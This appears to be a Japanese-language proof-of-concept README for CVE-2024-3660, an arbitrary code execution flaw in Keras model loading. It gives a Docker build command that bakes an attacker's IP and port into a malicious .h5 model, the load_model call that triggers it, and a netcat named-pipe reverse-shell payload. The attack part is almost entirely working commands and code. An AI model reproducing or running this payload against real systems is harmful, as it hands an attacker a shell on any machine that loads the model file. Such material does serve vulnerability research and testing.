
CVE-2024-3660 の PoC。Keras における任意のコード実行。
CVE-2024-3660 は、TensorFlow の Keras フレームワークにおける任意コード実行の脆弱性で、バージョン < 2.13 に影響します。
攻撃者は、Python コードをモデル内(例:Lambda レイヤー経由)に埋め込むことができ、モデル読み込み時に自動的に実行されます。
脆弱な環境で悪意ある .h5 モデルファイルが読み込まれると、読み込みプロセスと同じ権限で任意のコマンドが実行されます。
tf.keras.models.load_model("CVE20243660.h5", compile=False)
または、safe_mode がデフォルトで有効になっていない古い TensorFlow バージョン。
この PoC は Docker ベースのビルドを使用して、リバースシェルペイロードを含む悪意ある hack.h5 モデルを生成します。
脆弱な TensorFlow バージョンでモデルが読み込まれると、攻撃者のマシンに接続します。
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f